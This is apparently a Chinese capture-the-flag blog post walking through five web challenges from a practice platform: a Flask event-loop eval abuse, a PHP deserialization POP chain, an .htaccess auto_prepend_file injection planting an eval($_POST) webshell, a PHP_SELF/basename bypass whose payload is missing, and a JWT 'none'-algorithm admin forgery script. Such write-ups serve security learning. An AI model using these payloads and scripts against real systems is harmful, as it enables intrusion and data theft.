2020.05.15近几日buuoj刷题记录

DDCTF 2019 homebrew event loop

Flask写的一个应用,发现其只设置了一个路由,它是根据参数来实现不同的功能的:

View source code => ?action:index;True%23False
Download this .py file => ?action:index;True%23True
Go back to index.html => ?action:view;index
Reset => ?action:view;reset
Go to e-shop => ?action:view;shop
Buy a diamond (1 point) => ?action:buy;1

@app.route(url_prefix+'/')入口,定义了两个request属性:

1
2
request.event_queue = [] # 每次访问此路由,会初始化此数组
request.prev_session = dict(session)

初始session为:

1
2
3
session['num_items'] = 0
session['points'] = 3
session['log'] = []

那么num_items应该对应提示信息中的diamonds;接着调用:

trigger_event(querystring)

其中querystring设置了默认值:

1
2
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'

trigger_event方法将请求信息添加到session和request.event_queue中:

1
2
3
4
5
6
7
8
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

接着调用execute_event_loop(),解释直接写代码注释里了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def execute_event_loop():
# 定义字典集合
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0: # 请求参数不为空;因为有默认querystring,所以肯定会进入到这个while循环
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:] # 出队列
if not event.startswith(('action:', 'func:')):
continue
# 判断querystring的字符是否在集合中,在的话执行else语句块的代码
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';') # 获取:和;的中间字符串
args = get_mid_str(event, action+';').split('#') # 获取;后的字符串,以#分割成数组
try:
# 使用eval动态调用函数,应该是利用点
event_handler = eval(
action + ('_handler' if is_action else '_function'))
# 根据querystring首字母来判断调用handler或function
# 传入参数args,调用函数
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

即根据request.event_queue依次执行各事件

接着看定义的buy_handler

1
2
3
4
5
6
7
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: # 购买的参数非负
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

它将consume_point_function写入请求队列中,查看其方法:

1
2
3
4
5
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume

即购买时将session中的points与querystring的points比较

获取flag的方法:

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')

使num_items数量大于5,之后将show_flag_function添加到event中,查看其方法:

1
2
3
4
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

那么首先要使num_items大于5,来分析当输入参数?action:buy;10时代码执行的过程:

首先会执行entry_point,此时各参数值为:

1
2
3
4
5
querystring = '?action:buy;10'
request.event_queue = []
session['num_items'] = 0
session['points'] = 3
request.prev_session = {'num_items':0, 'points':3}

然后调用trigger_event时:

1
request.event_queue = ['?action:buy;10']

接着调用execute_event_loop:

1
2
3
4
5
6
7
event = '?action:buy;10'
request.event_queue = []
is_action = True
action = 'buy'
args = ['10']
event_handler = eval('buy_handler')
ret_val = eval('buy_handler')(['10'])

调用了buy_handler

1
2
num_items = 10
session['num_items'] += num_items # 即现在session['num_items']为10

调用了trigger_event

1
request.event_queue=['func:consume_point;10','action:view;index']

回到execute_event_loop,此时当前循环结束,开始下一次循环

则会调用func:consume_point;10,进行比较:

1
2
point_to_consume = 10
session['points'] = 3

不符合,则抛出异常,进入RollBackException(),break结束循环

可以发现,在进行consume_point判断前,num_items已经增加了,那么要赶在进入consume_point异常前执行get_flag_handler

由于这个题目使用队列进行执行操作,那么只要控制trigger_event,便可实现执行流程:

buy_handler => get_flag_handler => consume_point_function(break)

虽然还没等到show_flag_function执行(虽然执行了也没什么用),但它会调用trigger_event('func:show_flag;' + FLAG())trigger_event中会有个session赋值的操作,会把flag赋值到session中;由于Flask是客户端session,便可拿到session解码得到明文信息

那么如何控制trigger_event呢,将相关代码整合到一起:

1
2
3
4
5
6
7
8
9
10
11
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

action = get_mid_str(event, ':', ';') # 获取:和;的中间字符串
args = get_mid_str(event, action+';').split('#')

event_handler = eval(
action + ('_handler' if is_action else '_function'))

对于eval中的拼接,#可以注释掉后面的字符,例如:

1
2
3
4
5
6
7
>>> def test():
... print(1234)
...
>>> eval('test')()
1234
>>> eval('test#asdfasdf')()
1234

构造:

?action:trigger_event#;action:buy;5#action:get_flag;1

此时action为:

trigger_event#

args为:

['action:buy;5', 'action:get_flag;1']

之后将得到的cookie解码即可

MRCTF2020 Ezpop

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

利用preg_match匹配时触发自身的toString,注意构造让source等于自身对象时,source对象的属性也要赋值,这里直接将属性值放在类中了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Modifier {
protected $var;
public function __construct()
{
$this->var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
}

class Show{
public $source;
public $str;
public function __construct()
{
$this->str = new Test();
$this->str->p = new Modifier();
}
}

class Test{
public $p;
}


$t = new Show();
$t->source = new Show();

echo urlencode(serialize($t));

XNUCA2019Qualifier EasyPHP

主要有以下限制:

1.对.htaccess一些关键字做了限制,但没有过滤反斜线,因此可以直接绕

2.每次访问前会清空当前目录下除index.php的文件

3.写入的php文件不会被自动解析

那么构造.htaccess,使用auto_prepend_file,这样便可以在加载index.php前执行:

/?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20.htaccess%0a%23%20<?=eval($_POST[1]);?>\

除此之外,还可借助error_loginclude_path等来做

Zer0pts2020 Can you guess it?

主要代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

这道题目有些迷惑人,给了两条路,一条是绕过preg_match,通过highlight_file来读文件内容;还一条是猜中随机字符串

hash_equals:不管是否相等,都使用同一时间比较两个字符串,可防止时序攻击

guess是不可能猜中的,来看看第一条路

$_SERVER['PHP_SELF'])可以很方便的获取当前页面地址

test.php:

1
2
<?php
echo $_SERVER['PHP_SELF'];

访问127.0.0.1/test.php,输出:

/test.php

正则表达式为config\.php\/*$,即以config.php结尾的路径都会被匹配到,例如/config.php/config.php?source

之后使用basename获取路径中的文件名,官方文档说明:

basename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function.

这里没有使用setlocale(),那么通过设置其他字节来绕过preg_match,并且让basename返回正确的文件名:

HFCTF2020 EasyLogin

注册登录后只有获取flag和登出功能,点获取flag会提示permission denied,那么要想办法伪造admin

当然直接注册admin是不行的;查看cookie,发现其使用了JWT认证

查看源码,访问static/js/app.js,发现提示:

1
2
3
4
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

什么是koa

Koa 是一个新的 web 框架,由 Express 幕后的原班人马打造, 致力于成为 web 应用和 API 开发领域中的一个更小、更富有表现力、更健壮的基石。 通过利用 async 函数,Koa 帮你丢弃回调函数,并有力地增强错误处理。 Koa 并没有捆绑任何中间件, 而是提供了一套优雅的方法,帮助您快速而愉快地编写服务端应用程序。

kao框架要求node版本至少为v7.6.0;安装:

sudo npm install koa-generator -g

创建koa框架目录结构:

koa2 koa-server

列一下目录结构:

~/桌面/koa-server                                                              
▶ tree
.
├── app.js
├── bin
│   └── www
├── package.json
├── public
│   ├── images
│   ├── javascripts
│   └── stylesheets
│       └── style.css
├── routes
│   ├── index.js
│   └── users.js
└── views
    ├── error.pug
    ├── index.pug
    └── layout.pug

7 directories, 9 files

通过dirsearch可扫描到根目录下的app.jspackage.json,直接访问可获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

那么访问controllers/api.js(guess):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

当jwt的secret为空时,jsonwebtoken会采用algorithm为none进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import jwt

encoded = jwt.encode({
"secretid": "",
"username": "admin",
"password": "gtfly321",
"iat": 1589619609
}, '', algorithm=None)

print(encoded)

import requests

url = 'http://90fa6eec-8c6e-4cc2-934e-d8d6197f6e43.node3.buuoj.cn/'

data = {
'username':'admin',
'password':'gtfly321',
'authorization': encoded
}
s = requests.session()
s.post(url+'api/login', data).text
print(s.get(url+'api/flag').text)

参考:

https://xz.aliyun.com/t/7714#toc-1